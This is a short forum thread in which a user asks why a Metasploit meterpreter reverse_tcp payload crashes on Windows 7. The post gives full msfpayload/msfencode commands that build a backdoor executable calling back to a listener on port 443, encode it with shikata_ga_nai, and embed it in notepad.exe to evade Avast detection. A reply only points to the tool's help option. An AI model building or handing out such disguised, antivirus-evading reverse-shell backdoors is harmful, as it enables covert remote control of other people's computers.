Payload crash on windows 7

[Severy]

Hi all

Im currently playing around with msfpayload and im not very lucky so far.

I followed a few guides and video's that all seemed to rely on the perfect windows environment.

I created my payload like this:
msfpayload windows/meterpreter/reverse_tcp lhost=192.168.2.3 lport=443 R | msfencode -c 10 -e x86/shikata_ga_nai -t exe > ~/backdoor.exe

This seems to work fine with a clean version of windows 7 in virtualbox, but when i try it on my windows 7 computer which has avast installed it gets detected when i copy the file to my desktop. This doesnt work.

Next i tried to create the payload like this:
msfpayload windows/meterpreter/reverse_tcp lhost=192.168.2.3 lport=443 R | msfencode -c 10 -e x86/shikata_ga_nai -t exe -x ~/notepad.exe > ~/notepad.exe

When i copy notepad.exe to my windows computer it does not get detected and i can even run it without being detected. The only problem is, that the payload crashes as soon as i run it.

What could be the cause of this? I read somewhere that windows 7 is not vulnerable to this kind of attack.. is this true? i think windows 7 is still vulnerable since the attack works fine when i disable my av and i use the first method which doesnt crash.

and, what does the capital R do in the msfpayload command? all guides iv'e read walk you through the complete command but none of them explained what the R was for.

Thanks

[VulpiArgenti]

In general, most linux programs will explain their options (with varying amounts of detail) e.g.

msfpayload -h